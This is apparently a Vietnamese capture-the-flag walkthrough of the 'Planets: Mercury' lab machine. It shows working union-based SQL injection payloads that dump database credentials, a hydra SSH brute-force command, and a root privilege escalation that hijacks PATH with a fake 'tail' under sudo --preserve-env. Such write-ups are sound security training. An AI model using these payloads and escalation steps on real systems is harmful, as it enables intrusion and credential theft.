Download THE PLANETS: MERCURY
Level: Easy
Scanning
Sử dụng arp-scan để xác định ip máy chủ mục tiêu
Sau khi xác định được ip, tiến hành scan các port dịch vụ. Thử scan các known port trước cho đỡ tốn thời gian
Thấy được 2 services đang hoạt động, ssh port 22 và web server port 8080. Thử truy cập webpage http://10.0.2.4:8080
xem khám phá được gì không
Response trả về là 1 thông báo rằng site đang trong quá trình phát triển, ta có thể đoán có 1 hoặc 1 số ứng dụng web đang chạy trên máy mục tiêu. Tiến hành enumerate files phổ biến, có thể sử dụng tools dirb
, dirsearch
, gobuster
, …
Truy cập /robots.txt
cũng không có manh mối gì. Nhưng may mắn thay, trong khi mình thử random 1 số file thì nó hiển thị ra 1 số errors do dev quên không tắt tính năng debug :))
Phát hiện được có tồn tại một folder mercuryfacts/
. Truy cập nó và xem nó có gì
Ở đây có xuất hiện 2 link, Truy cập Load a fact thì trang này có chứa dữ liệu trả về theo id từ url, khả năng gọi từ database nên mình test thử sql injection bằng cách chèn nháy đơn:
Không còn nghi ngờ gì nữa, site này dính SQLi và trang debug hiển thị lỗi sql, cho thấy rằng payload của ta được chấp nhận để truy vấn vào database. Hơn thế nữa, dựa vào syntax error xác định được Union-based SQLi. Mở Burp và tiến hành khai thác.
Exploitation
Thử câu truy vấn “thần thánh” or 1=1
để bắt đầu khai thác:
1
/mercuryfacts/1 or 1=1
Đúng như mong đợi, kết quả là đã dump được tất cả các row trong sự kiện này (À, trước khi gửi request thì url-encode đã nhé!)
Tiếp tục với câu lệnh UNION, tiến hành exploit tên database
1
/mercuryfacts/1 union select database()
Tìm tên các bảng từ database đã tìm được, tham chiếu từ information_schema
.
1
/mercuryfacts/1 union select group_concat(table_name) from information_schema.tables where table_schema='mercury'/
Có 2 bảng được trích xuất, nhưng chỉ cần quan tâm đến bảng users
.
1
/mercuryfacts/1 union select group_concat(column_name) from information_schema.columns where table_schema='mercury' and table_name='users'/
Lần lượt dump username và password.
1
/mercuryfacts/1 union select group_concat(username) from users/
1
/mercuryfacts/1 union select group_concat(password) from users/
Nhớ ra rằng ssh đang chạy cổng 22. Quá là lười thử từng username và password nên mình sẽ lựa chọn hydra
để tổ hợp từng username password và login vô ssh.
1
hydra -L username.txt -P password.txt ssh://10.0.2.4 -V
Kết quả có 2 combination (nhưng là vì lab này đã được custom lại nên có thêm user cmcleuleu
, còn bản gốc thì user_flag nằm ngay trong user webmaster
). Tiến hành login user cmcleuleu
và get user flag.
Switch user qua webmaster
và thực hiện Privilege Escalation.
Privilege Escalation
Khám phá một lúc thì phát hiện được có 1 secret notes nằm trong thư mục dự án
Decode base64 ta nhận được password của linuxmaster
, su linuxmaster
và tìm kiếm root flag
Kiểm tra đặc quyền của linuxmaster thông qua sudo -l
Có thể thấy, user có thể thực thi script /usr/bin/check_syslog.sh
với quyền root và lại được set preserved environment. Kiểm tra xem file check_syslog.sh
có gì:
User không có quyền ghi file check_syslog.sh
nhưng có thể thực thi nó, hơn thế nữa trong shell script có chứa lệnh tail
được gọi. Ý tưởng là ghi đè lệnh tail để gọi shell cùng với đó là chạy dưới quyền root.
1
2
3
linuxmaster@cmclabs1:~$ echo "/bin/bash" > tail
linuxmaster@cmclabs1:~$ chmod 777 tail
linuxmaster@cmclabs1:~$ export PATH=$(pwd):$PATH
Cuối cùng, thực thi script check_syslog.sh
dưới chế độ preserved environment cho PATH:
1
sudo --preserve-env=PATH /usr/bin/check_syslog.sh
bÙm…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@cmclabs1:/home/linuxmaster# cd /root
root@cmclabs1:~# ls
root_flag.txt
root@cmclabs1:~# cat *
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@/##////////@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@(((/(*(/((((((////////&@@@@@@@@@@@@@
@@@@@@@@@@@((#(#(###((##//(((/(/(((*((//@@@@@@@@@@
@@@@@@@@/#(((#((((((/(/,*/(((///////(/*/*/#@@@@@@@
@@@@@@*((####((///*//(///*(/*//((/(((//**/((&@@@@@
@@@@@/(/(((##/*((//(#(////(((((/(///(((((///(*@@@@
@@@@/(//((((#(((((*///*/(/(/(((/((////(/*/*(///@@@
@@@//**/(/(#(#(##((/(((((/(**//////////((//((*/#@@
@@@(//(/((((((#((((#*/((///((///((//////(/(/(*(/@@
@@@((//((((/((((#(/(/((/(/(((((#((((((/(/((/////@@
@@@(((/(((/##((#((/*///((/((/((##((/(/(/((((((/*@@
@@@(((/(##/#(((##((/((((((/(##(/##(#((/((((#((*%@@
@@@@(///(#(((((#(#(((((#(//((#((###((/(((((/(//@@@
@@@@@(/*/(##(/(###(((#((((/((####/((((///((((/@@@@
@@@@@@%//((((#############((((/((/(/(*/(((((@@@@@@
@@@@@@@@%#(((############(##((#((*//(/(*//@@@@@@@@
@@@@@@@@@@@/(#(####(###/((((((#(///((//(@@@@@@@@@@
@@@@@@@@@@@@@@@(((###((#(#(((/((///*@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@%#(#%@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Congratulations!!!
If you have any feedback please contact me at autosys@cmcinfosec.com
[root_cmcsoc_flag_1a7e3807f7122beb1527b54d6b46aad3]